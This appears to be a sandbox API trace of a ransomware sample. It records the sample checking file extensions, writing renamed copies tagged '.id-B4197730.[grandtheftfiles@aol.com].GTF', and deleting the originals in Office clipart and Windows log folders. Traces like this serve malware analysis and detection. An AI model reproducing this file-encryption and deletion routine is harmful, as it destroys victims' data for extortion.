	[0091.586] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0091.586] lstrlenW (lpString=".ppt") returned 4
	[0091.586] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0091.586] lstrlenW (lpString=".zip") returned 4
	[0091.586] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.586] lstrlenW (lpString=".rar") returned 4
	[0091.586] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.586] lstrlenW (lpString=".bz2") returned 4
	[0091.586] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.586] lstrlenW (lpString=".7z") returned 3
	[0091.586] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0091.587] lstrlenW (lpString=".dbf") returned 4
	[0091.587] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0091.587] lstrlenW (lpString=".1cd") returned 4
	[0091.587] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0091.587] lstrlenW (lpString=".jpg") returned 4
	[0091.587] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.587] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0091.587] lstrlenW (lpString="J0099190.JPG") returned 12
	[0091.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0091.588] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=43892) returned 1
	[0091.588] CloseHandle (hObject=0x39c) returned 1
	[0091.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 0x220
	[0091.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0091.588] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.588] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0091.588] GetLastError () returned 0x0
	[0091.588] ReadFile (hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0) 

Thread:
	id = 13
	os_tid = 0x10d8

	[0060.223] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10000) returned 0x31d0048
	[0060.224] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10000) returned 0x31e0050
	[0060.224] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77d118
	[0060.225] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x6) returned 0x7ad020
	[0060.225] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77d130
	[0060.225] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x100000) returned 0x32de020
	[0060.227] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77d148
	[0060.227] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x77d148, Size=0x20) returned 0x75ebb0
	[0060.227] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77d148
	[0060.227] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x77d148, Size=0x20) returned 0x75ec50
	[0060.227] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000
	[0060.228] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30
	[0060.228] Wow64DisableWow64FsRedirection (in: OldValue=0x2d5ff50 | out: OldValue=0x2d5ff50*=0x0) returned 1
	[0060.228] lstrlenW (lpString="kernel32.dll") returned 12
	[0060.228] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ebb0 | out: hHeap=0x720000) returned 1
	[0060.228] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0060.228] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ec50 | out: hHeap=0x720000) returned 1
	[0060.228] Sleep (dwMilliseconds=0x64) 
	[0060.499] lstrcmpiW (lpString1=".log", lpString2=".GTF") returned 1
	[0060.499] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37
	[0060.500] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0060.502] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=42674) returned 1
	[0060.502] CloseHandle (hObject=0x2c0) returned 1
	[0060.502] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20
	[0060.502] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0060.502] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0060.503] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.503] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.503] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.503] GetLastError () returned 0x0
	[0060.503] ReadFile (in: hFile=0x2c0, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xa6b2, lpOverlapped=0x0) returned 1
	[0060.518] WriteFile (in: hFile=0x2c8, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xa6c0, lpOverlapped=0x0) returned 1
	[0060.520] ReadFile (in: hFile=0x2c0, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.520] WriteFile (in: hFile=0x2c8, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0060.520] SetEndOfFile (hFile=0x2c8) returned 1
	[0060.520] CloseHandle (hObject=0x2c8) returned 1
	[0060.522] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.522] SetEndOfFile (hFile=0x2c0) returned 1
	[0060.523] CloseHandle (hObject=0x2c0) returned 1
	[0060.523] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0060.523] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1
	[0060.523] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0060.524] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0060.524] lstrlenW (lpString=".doc") returned 4
	[0060.524] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0060.524] lstrlenW (lpString=".docx") returned 5
	[0060.524] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1
	[0060.524] lstrlenW (lpString=".pdf") returned 4
	[0060.524] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0060.524] lstrlenW (lpString=".xls") returned 4
	[0060.524] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0060.524] lstrlenW (lpString=".xlsx") returned 5
	[0060.524] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1
	[0060.524] lstrlenW (lpString=".ppt") returned 4
	[0060.524] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0060.524] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0060.524] lstrlenW (lpString=".zip") returned 4
	[0060.524] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0060.524] lstrlenW (lpString=".rar") returned 4
	[0060.524] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0060.524] lstrlenW (lpString=".bz2") returned 4
	[0060.524] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0060.524] lstrlenW (lpString=".7z") returned 3
	[0060.524] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0060.524] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0060.524] lstrlenW (lpString=".dbf") returned 4
	[0060.524] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0060.524] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0060.524] lstrlenW (lpString=".1cd") returned 4
	[0060.524] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0060.524] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0060.524] lstrlenW (lpString=".jpg") returned 4
	[0060.524] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0060.524] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0060.524] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0060.524] lstrlenW (lpString=".doc") returned 4
	[0060.525] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0060.525] lstrlenW (lpString=".docx") returned 5
	[0060.525] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1
	[0060.525] lstrlenW (lpString=".pdf") returned 4
	[0060.525] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0060.525] lstrlenW (lpString=".xls") returned 4
	[0060.525] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0060.525] lstrlenW (lpString=".xlsx") returned 5
	[0060.525] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1
	[0060.525] lstrlenW (lpString=".ppt") returned 4
	[0060.525] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0060.525] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0060.525] lstrlenW (lpString=".zip") returned 4
	[0060.525] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0060.525] lstrlenW (lpString=".rar") returned 4
	[0060.525] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0060.525] lstrlenW (lpString=".bz2") returned 4
	[0060.525] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0060.525] lstrlenW (lpString=".7z") returned 3
	[0060.525] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0060.525] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0060.525] lstrlenW (lpString=".dbf") returned 4
	[0060.525] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0060.525] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0060.525] lstrlenW (lpString=".1cd") returned 4
	[0060.525] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0060.525] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0060.525] lstrlenW (lpString=".jpg") returned 4
	[0060.525] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0060.525] lstrcmpiW (lpString1=".log", lpString2=".GTF") returned 1
	[0060.526] lstrlenW (lpString="PartnerSetupCompleteResult.log") returned 30
	[0060.526] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0061.960] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=40) returned 1
	[0061.960] CloseHandle (hObject=0x2c8) returned 1
	[0061.960] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20
	[0061.960] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0061.961] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0061.961] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.961] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.961] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0061.961] GetLastError () returned 0x0
	[0061.961] ReadFile (in: hFile=0x2c8, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x28, lpOverlapped=0x0) returned 1
	[0061.963] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x30, lpOverlapped=0x0) returned 1
	[0061.964] ReadFile (in: hFile=0x2c8, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.964] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x110, lpOverlapped=0x0) returned 1
	[0061.964] SetEndOfFile (hFile=0x2d0) returned 1
	[0061.964] CloseHandle (hObject=0x2d0) returned 1
	[0061.966] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.966] SetEndOfFile (hFile=0x2c8) returned 1
	[0061.966] CloseHandle (hObject=0x2c8) returned 1
	[0061.967] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0061.967] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1
	[0061.967] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0061.967] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0061.967] lstrlenW (lpString=".doc") returned 4
	[0061.967] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0061.967] lstrlenW (lpString=".docx") returned 5
	[0061.967] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1
	[0061.967] lstrlenW (lpString=".pdf") returned 4
	[0061.967] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0061.967] lstrlenW (lpString=".xls") returned 4
	[0061.967] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0061.967] lstrlenW (lpString=".xlsx") returned 5
	[0061.967] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1
	[0061.967] lstrlenW (lpString=".ppt") returned 4
	[0061.967] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0061.968] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0061.968] lstrlenW (lpString=".zip") returned 4
	[0061.968] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0061.968] lstrlenW (lpString=".rar") returned 4
	[0061.968] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0061.968] lstrlenW (lpString=".bz2") returned 4
	[0061.968] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0061.968] lstrlenW (lpString=".7z") returned 3
	[0061.968] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0061.968] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0061.968] lstrlenW (lpString=".dbf") returned 4
	[0061.968] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0061.968] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0061.968] lstrlenW (lpString=".1cd") returned 4
	[0061.968] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0061.968] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0061.968] lstrlenW (lpString=".jpg") returned 4
	[0061.968] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0061.968] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0061.968] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0061.968] lstrlenW (lpString=".doc") returned 4
	[0061.968] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0061.968] lstrlenW (lpString=".docx") returned 5
	[0061.968] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1
	[0061.968] lstrlenW (lpString=".pdf") returned 4
	[0061.968] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0061.968] lstrlenW (lpString=".xls") returned 4
	[0061.968] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0061.968] lstrlenW (lpString=".xlsx") returned 5
	[0061.968] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1
	[0061.968] lstrlenW (lpString=".ppt") returned 4
	[0061.968] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0061.968] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0061.968] lstrlenW (lpString=".zip") returned 4
	[0061.968] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0061.968] lstrlenW (lpString=".rar") returned 4
	[0061.968] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0061.969] lstrlenW (lpString=".bz2") returned 4
	[0061.969] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0061.969] lstrlenW (lpString=".7z") returned 3
	[0061.969] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0061.969] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0061.969] lstrlenW (lpString=".dbf") returned 4
	[0061.969] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0061.969] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0061.969] lstrlenW (lpString=".1cd") returned 4
	[0061.969] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0061.969] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0061.969] lstrlenW (lpString=".jpg") returned 4
	[0061.969] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0061.969] Sleep (dwMilliseconds=0x64) 
	[0062.375] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0062.375] lstrlenW (lpString="eula.rtf") returned 8
	[0062.375] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0062.635] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=3726) returned 1
	[0062.635] CloseHandle (hObject=0x2d4) returned 1
	[0062.636] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80
	[0062.636] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0062.636] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0062.636] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.636] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.636] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0062.636] GetLastError () returned 0x0
	[0062.636] ReadFile (in: hFile=0x2d4, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xe8e, lpOverlapped=0x0) returned 1
	[0064.376] WriteFile (in: hFile=0x2c0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe90, lpOverlapped=0x0) returned 1
	[0064.377] ReadFile (in: hFile=0x2d4, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0064.377] WriteFile (in: hFile=0x2c0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0064.377] SetEndOfFile (hFile=0x2c0) returned 1
	[0064.377] CloseHandle (hObject=0x2c0) returned 1
	[0064.378] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.378] SetEndOfFile (hFile=0x2d4) returned 1
	[0064.379] CloseHandle (hObject=0x2d4) returned 1
